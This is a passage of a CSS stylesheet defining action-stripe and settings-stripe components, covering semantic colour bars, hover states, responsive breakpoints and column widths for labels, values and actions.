.action-stripe--corporate-solid.__direct-selection:hover .__hover.toggle-link,.action-stripe--corporate-solid.__direct-selection:hover .link,.action-stripe--corporate-solid.__direct-selection:hover .link--next:after,.action-stripe--corporate-solid.__direct-selection:hover .link.__hover,.action-stripe--corporate-solid.__direct-selection:hover .link:before,.action-stripe--corporate-solid.__direct-selection:hover .toggle-link,.action-stripe--corporate-solid.__direct-selection:hover .toggle-link:before {
color: var(--white,#fff)
}
.action-stripe.__direct-selection:hover .link--next:after {
color: var(--corporate-text-color,#0b2a63)
}
.action-stripe--advertising.__direct-selection:hover .link--next:after,.action-stripe--corporate-solid.__direct-selection:hover .link--next:after {
color: var(--white,#fff)
}
.action-stripe--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.action-stripe--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-success:first-child {
border-radius:0
}
}
.action-stripe--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-success:last-child {
border-radius:0
}
}
.action-stripe--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-success:only-child {
border-radius:0
}
}
.action-stripe--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.action-stripe--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-warning:first-child {
border-radius:0
}
}
.action-stripe--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-warning:last-child {
border-radius:0
}
}
.action-stripe--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-warning:only-child {
border-radius:0
}
}
.action-stripe--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.action-stripe--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-critical:first-child {
border-radius:0
}
}
.action-stripe--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-critical:last-child {
border-radius:0
}
}
.action-stripe--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-critical:only-child {
border-radius:0
}
}
.action-stripe--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.action-stripe--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-neutral:first-child {
border-radius:0
}
}
.action-stripe--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-neutral:last-child {
border-radius:0
}
}
.action-stripe--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-neutral:only-child {
border-radius:0
}
}
.action-stripe--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.action-stripe--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-activating:first-child {
border-radius:0
}
}
.action-stripe--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-activating:last-child {
border-radius:0
}
}
.action-stripe--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-activating:only-child {
border-radius:0
}
}
.action-stripe--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.action-stripe--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-corporate:first-child {
border-radius:0
}
}
.action-stripe--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-corporate:last-child {
border-radius:0
}
}
.action-stripe--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-corporate:only-child {
border-radius:0
}
}
.action-stripe--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.action-stripe--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-promoting:first-child {
border-radius:0
}
}
.action-stripe--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-promoting:last-child {
border-radius:0
}
}
.action-stripe--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.action-stripe--semantic-bar-promoting:only-child {
border-radius:0
}
}
.action-stripe__label {
align-self: center;
box-sizing: border-box;
float: left;
min-height: 1px;
padding: 0 15px;
width: 91.66667%
}
.action-stripe__label--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.action-stripe__label--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.action-stripe__label--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.action-stripe__label--large-nowrap {
white-space:nowrap
}
}
.action-stripe__label--break-all {
word-break: break-all
}
.action-stripe__label--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.action-stripe__label--small-break-all {
word-break:break-all
}
.action-stripe__label--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.action-stripe__label--medium-break-all {
word-break:break-all
}
.action-stripe__label--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.action-stripe__label--large-break-all {
word-break:break-all
}
.action-stripe__label--large-break-word {
word-break: break-word
}
}
.action-stripe__label--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.action-stripe__label--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.action-stripe__label--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.action-stripe__label--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.action-stripe--disabled .action-stripe__label {
opacity: .62
}
.action-stripe--link .action-stripe__label {
flex-grow: 1;
width: auto
}
.action-stripe__action {
align-self: center;
box-sizing: border-box;
float: left;
min-height: 1px;
padding: 0 15px;
text-align: right;
width: 8.33333%
}
.action-stripe__action--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.action-stripe__action--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.action-stripe__action--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.action-stripe__action--large-nowrap {
white-space:nowrap
}
}
.action-stripe__action--break-all {
word-break: break-all
}
.action-stripe__action--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.action-stripe__action--small-break-all {
word-break:break-all
}
.action-stripe__action--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.action-stripe__action--medium-break-all {
word-break:break-all
}
.action-stripe__action--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.action-stripe__action--large-break-all {
word-break:break-all
}
.action-stripe__action--large-break-word {
word-break: break-word
}
}
.action-stripe__action--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.action-stripe__action--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.action-stripe__action--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.action-stripe__action--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.action-stripe__icon {
align-self: center;
height: auto;
margin-left: 13px;
width: auto
}
.action-stripe__icon--exos-icon:before {
font-family: exos-icon-font;
font-size: 32px;
font-style: normal;
font-weight: 400!important;
vertical-align: top;
vertical-align: middle
}
.action-stripe__icon--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.action-stripe__icon--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.action-stripe__icon--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.action-stripe__icon--small-hidden {
display:none
}
}
.action-stripe--disabled .action-stripe__action {
opacity: .62;
pointer-events: none
}
.action-stripe--link .action-stripe__action {
white-space: nowrap;
width: auto
}
@media only screen and (max-width: 666px) {
.action-stripe,.action-stripe__action,.action-stripe__label {
padding-left:8px;
padding-right: 8px
}
.action-stripe__icon {
margin-left: 8px;
margin-right: 0
}
.action-stripe--link {
flex-flow: column
}
.action-stripe--link .action-stripe__icon {
align-self: flex-start
}
.action-stripe--link .action-stripe__action,.action-stripe--link .action-stripe__label {
text-align: left;
width: 100%
}
}
.action-stripe--activating {
border-bottom-color: var(--activating-shape-color,#11c7e6);
color: var(--default-text-color,#001b41)
}
.action-stripe--activating,.action-stripe--activating+.action-stripe {
border-top-color: var(--activating-shape-color,#11c7e6)
}
.action-stripe--activating:hover {
border-bottom: 1px solid var(--activating-text-color,#007e9c);
border-top: 1px solid var(--activating-text-color,#007e9c)
}
.action-stripe--activating:hover:last-child {
border-bottom: inherit
}
.action-stripe--success {
border-bottom-color: var(--success-shape-color,#0fa954);
color: var(--default-text-color,#001b41)
}
.action-stripe--success,.action-stripe--success+.action-stripe {
border-top-color: var(--success-shape-color,#0fa954)
}
.action-stripe--success:hover {
border-bottom: 1px solid var(--success-text-color,#096b35);
border-top: 1px solid var(--success-text-color,#096b35)
}
.action-stripe--success:hover:last-child {
border-bottom: inherit
}
.action-stripe--warning {
border-bottom-color: var(--warning-shape-color,#fa0);
color: var(--default-text-color,#001b41)
}
.action-stripe--warning,.action-stripe--warning+.action-stripe {
border-top-color: var(--warning-shape-color,#fa0)
}
.action-stripe--warning:hover {
border-bottom: 1px solid var(--warning-text-color,#c36b00);
border-top: 1px solid var(--warning-text-color,#c36b00)
}
.action-stripe--warning:hover:last-child {
border-bottom: inherit
}
.action-stripe--critical {
border-bottom-color: var(--critical-shape-color,#f50c00);
color: var(--default-text-color,#001b41)
}
.action-stripe--critical,.action-stripe--critical+.action-stripe {
border-top-color: var(--critical-shape-color,#f50c00)
}
.action-stripe--critical:hover {
border-bottom: 1px solid var(--critical-text-color,#c80a00);
border-top: 1px solid var(--critical-text-color,#c80a00)
}
.action-stripe--critical:hover:last-child {
border-bottom: inherit
}
.action-stripe--promoting {
border-bottom-color: var(--promoting-shape-color,#b410e7);
color: var(--default-text-color,#001b41)
}
.action-stripe--promoting,.action-stripe--promoting+.action-stripe {
border-top-color: var(--promoting-shape-color,#b410e7)
}
.action-stripe--promoting:hover {
border-bottom: 1px solid var(--promoting-text-color,#560e8a);
border-top: 1px solid var(--promoting-text-color,#560e8a)
}
.action-stripe--promoting:hover:last-child {
border-bottom: inherit
}
.action-stripe--corporate {
border-bottom-color: var(--corporate-shape-color,#001b41);
color: var(--default-text-color,#001b41)
}
.action-stripe--corporate,.action-stripe--corporate+.action-stripe {
border-top-color: var(--corporate-shape-color,#001b41)
}
.action-stripe--corporate:hover {
border-bottom: 1px solid var(--corporate-text-color,#0b2a63);
border-top: 1px solid var(--corporate-text-color,#0b2a63)
}
.action-stripe--corporate:hover:last-child {
border-bottom: inherit
}
.action-stripe--neutral {
border-bottom-color: var(--neutral-shape-color,#718095);
color: var(--default-text-color,#001b41)
}
.action-stripe--neutral,.action-stripe--neutral+.action-stripe {
border-top-color: var(--neutral-shape-color,#718095)
}
.action-stripe--neutral:hover {
border-bottom: 1px solid var(--neutral-text-color,#465a75);
border-top: 1px solid var(--neutral-text-color,#465a75)
}
.action-stripe--neutral:hover:last-child {
border-bottom: inherit
}
@media only screen and (max-width: 666px) {
.headless-mode .action-stripe--headless-hidden,.headless-mode .action-stripe__icon--headless-hidden {
display:none
}
}
.action-stripe:last-child:not(.action-stripe--activating):not(.action-stripe--success):not(.action-stripe--warning):not(.action-stripe--critical):not(.action-stripe--promoting):not(.action-stripe--corporate):not(.action-stripe--neutral):not(.action-stripe--advertising) {
border-bottom: 0
}
.action-stripe:first-child:not(.action-stripe--activating):not(.action-stripe--success):not(.action-stripe--warning):not(.action-stripe--critical):not(.action-stripe--promoting):not(.action-stripe--corporate):not(.action-stripe--neutral):not(.action-stripe--advertising) {
border-top: 0
}
.settings-stripe {
border-bottom: 1px solid var(--tertiary-shape-color,#bcc8d4);
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
box-sizing: border-box;
display: flex;
float: none;
margin-top: -1px;
min-height: 1px;
padding: 14px 0 16px;
position: relative;
width: auto
}
.settings-stripe:after {
clear: both;
content: "";
display: table
}
.settings-stripe:last-child {
border-bottom: inherit
}
.settings-stripe--borderless {
border-bottom: none;
border-top: none;
padding: 7px 0 9px
}
.settings-stripe--disabled {
background-color: var(--default-background-color,#f4f7fa);
color: var(--secondary-text-color,#465a75);
cursor: not-allowed
}
.settings-stripe--short {
display: inherit
}
.settings-stripe .link--next:after {
color: var(--interactive-shape-color,#1474c4)
}
.settings-stripe.__direct-selection:hover {
background-color: var(--default-background-color,#f4f7fa)
}
.settings-stripe--page-context.__direct-selection:hover {
background-color: var(--white,#fff)
}
.settings-stripe--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4));
border-bottom: 1px solid var(--advertising-background-gradient-end,#1474c4);
border-top: 1px solid var(--advertising-background-gradient-start,#003d8f);
color: var(--white,#fff)
}
.settings-stripe--advertising .__hover.toggle-link,.settings-stripe--advertising .link,.settings-stripe--advertising .link--next:after,.settings-stripe--advertising .link.__hover,.settings-stripe--advertising .link:before,.settings-stripe--advertising .toggle-link,.settings-stripe--advertising .toggle-link:before {
color: var(--white,#fff)
}
.settings-stripe--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
border-bottom: 1px solid var(--hovered-advertising-background-gradient-end,#003d8f);
border-top: 1px solid var(--hovered-advertising-background-gradient-start,#001b41);
color: var(--white,#fff)
}
.settings-stripe--corporate-solid .__hover.toggle-link,.settings-stripe--corporate-solid .link,.settings-stripe--corporate-solid .link--next:after,.settings-stripe--corporate-solid .link.__hover,.settings-stripe--corporate-solid .link:before,.settings-stripe--corporate-solid .toggle-link,.settings-stripe--corporate-solid .toggle-link:before {
color: var(--white,#fff)
}
.settings-stripe--advertising.__direct-selection:hover {
background: var(--hovered-advertising-background-gradient-start,#001b41);
background: linear-gradient(to bottom right,var(--hovered-advertising-background-gradient-start,#001b41),var(--hovered-advertising-background-gradient-end,#003d8f));
border-bottom: 1px solid var(--hovered-advertising-background-gradient-end,#003d8f);
border-top: 1px solid var(--hovered-advertising-background-gradient-start,#001b41)
}
.settings-stripe--advertising.__direct-selection:hover:last-child {
border-bottom: inherit
}
.settings-stripe--advertising.__direct-selection:hover .__hover.toggle-link,.settings-stripe--advertising.__direct-selection:hover .link,.settings-stripe--advertising.__direct-selection:hover .link--next:after,.settings-stripe--advertising.__direct-selection:hover .link.__hover,.settings-stripe--advertising.__direct-selection:hover .link:before,.settings-stripe--advertising.__direct-selection:hover .toggle-link,.settings-stripe--advertising.__direct-selection:hover .toggle-link:before {
color: var(--white,#fff)
}
.settings-stripe--corporate-solid.__direct-selection:hover {
background: var(--hovered-advertising-background-gradient-start,#001b41)
}
.settings-stripe--corporate-solid.__direct-selection:hover:last-child {
border-bottom: inherit
}
.settings-stripe--corporate-solid.__direct-selection:hover .__hover.toggle-link,.settings-stripe--corporate-solid.__direct-selection:hover .link,.settings-stripe--corporate-solid.__direct-selection:hover .link--next:after,.settings-stripe--corporate-solid.__direct-selection:hover .link.__hover,.settings-stripe--corporate-solid.__direct-selection:hover .link:before,.settings-stripe--corporate-solid.__direct-selection:hover .toggle-link,.settings-stripe--corporate-solid.__direct-selection:hover .toggle-link:before {
color: var(--white,#fff)
}
.settings-stripe.__direct-selection:hover .link--next:after {
color: var(--corporate-text-color,#0b2a63)
}
.settings-stripe--advertising.__direct-selection:hover .link--next:after {
color: var(--white,#fff)
}
.settings-stripe--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.settings-stripe--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-success:first-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-success:last-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-success:only-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.settings-stripe--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-warning:first-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-warning:last-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-warning:only-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.settings-stripe--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-critical:first-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-critical:last-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-critical:only-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.settings-stripe--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-neutral:first-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-neutral:last-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-neutral:only-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.settings-stripe--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-activating:first-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-activating:last-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-activating:only-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.settings-stripe--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-corporate:first-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-corporate:last-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-corporate:only-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.settings-stripe--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-promoting:first-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-promoting:last-child {
border-radius:0
}
}
.settings-stripe--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.settings-stripe--semantic-bar-promoting:only-child {
border-radius:0
}
}
.settings-stripe__label {
align-self: center;
box-sizing: border-box;
float: left;
font-weight: 400;
min-height: 1px;
padding: 0 15px;
width: 25%
}
.settings-stripe__label--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.settings-stripe__label--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__label--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.settings-stripe__label--large-nowrap {
white-space:nowrap
}
}
.settings-stripe__label--break-all {
word-break: break-all
}
.settings-stripe__label--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.settings-stripe__label--small-break-all {
word-break:break-all
}
.settings-stripe__label--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__label--medium-break-all {
word-break:break-all
}
.settings-stripe__label--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.settings-stripe__label--large-break-all {
word-break:break-all
}
.settings-stripe__label--large-break-word {
word-break: break-word
}
}
.settings-stripe__label--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.settings-stripe__label--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__label--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.settings-stripe__label--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.settings-stripe--disabled .settings-stripe__label {
opacity: .62
}
.settings-stripe--short .settings-stripe__label {
color: var(--secondary-text-color,#465a75);
float: left;
margin-bottom: 3px;
width: 83.33333%
}
.settings-stripe--short.settings-stripe--menu .settings-stripe__label {
float: left;
width: 83.33333%
}
.settings-stripe--short.settings-stripe--switch .settings-stripe__label {
float: left;
width: 75%
}
.settings-stripe--short.settings-stripe--link .settings-stripe__label {
float: left;
width: 50%
}
.settings-stripe__value {
align-self: center;
box-sizing: border-box;
float: left;
min-height: 1px;
padding: 0 15px;
width: 66.66667%
}
.settings-stripe__value--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.settings-stripe__value--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__value--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.settings-stripe__value--large-nowrap {
white-space:nowrap
}
}
.settings-stripe__value--break-all {
word-break: break-all
}
.settings-stripe__value--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.settings-stripe__value--small-break-all {
word-break:break-all
}
.settings-stripe__value--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__value--medium-break-all {
word-break:break-all
}
.settings-stripe__value--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.settings-stripe__value--large-break-all {
word-break:break-all
}
.settings-stripe__value--large-break-word {
word-break: break-word
}
}
.settings-stripe__value--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.settings-stripe__value--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__value--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.settings-stripe__value--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.settings-stripe--menu .settings-stripe__value,.settings-stripe--switch .settings-stripe__value {
float: left;
width: 58.33333%
}
.settings-stripe--link .settings-stripe__value {
float: left;
width: 50%
}
.settings-stripe--readonly .settings-stripe__value {
float: left;
width: 75%
}
.settings-stripe--short .settings-stripe__value {
float: left;
width: 83.33333%
}
.settings-stripe--short .settings-stripe__value,.settings-stripe--short.settings-stripe--menu .settings-stripe__value,.settings-stripe--short.settings-stripe--readonly .settings-stripe__value,.settings-stripe--short.settings-stripe--switch .settings-stripe__value {
font-size: var(--default-text-size,14px);
width: 100%
}
.settings-stripe--short.settings-stripe--menu .settings-stripe__value {
float: left;
width: 83.33333%
}
.settings-stripe--short.settings-stripe--switch .settings-stripe__value {
float: left;
width: 75%
}
.settings-stripe--short.settings-stripe--link .settings-stripe__value {
width: 100%
}
.settings-stripe__action {
align-self: center;
box-sizing: border-box;
float: left;
min-height: 1px;
padding: 0 15px;
text-align: right;
width: 8.33333%
}
.settings-stripe__action--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.settings-stripe__action--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__action--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.settings-stripe__action--large-nowrap {
white-space:nowrap
}
}
.settings-stripe__action--break-all {
word-break: break-all
}
.settings-stripe__action--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.settings-stripe__action--small-break-all {
word-break:break-all
}
.settings-stripe__action--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__action--medium-break-all {
word-break:break-all
}
.settings-stripe__action--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.settings-stripe__action--large-break-all {
word-break:break-all
}
.settings-stripe__action--large-break-word {
word-break: break-word
}
}
.settings-stripe__action--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.settings-stripe__action--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__action--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.settings-stripe__action--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.settings-stripe--menu .settings-stripe__action,.settings-stripe--switch .settings-stripe__action {
float: left;
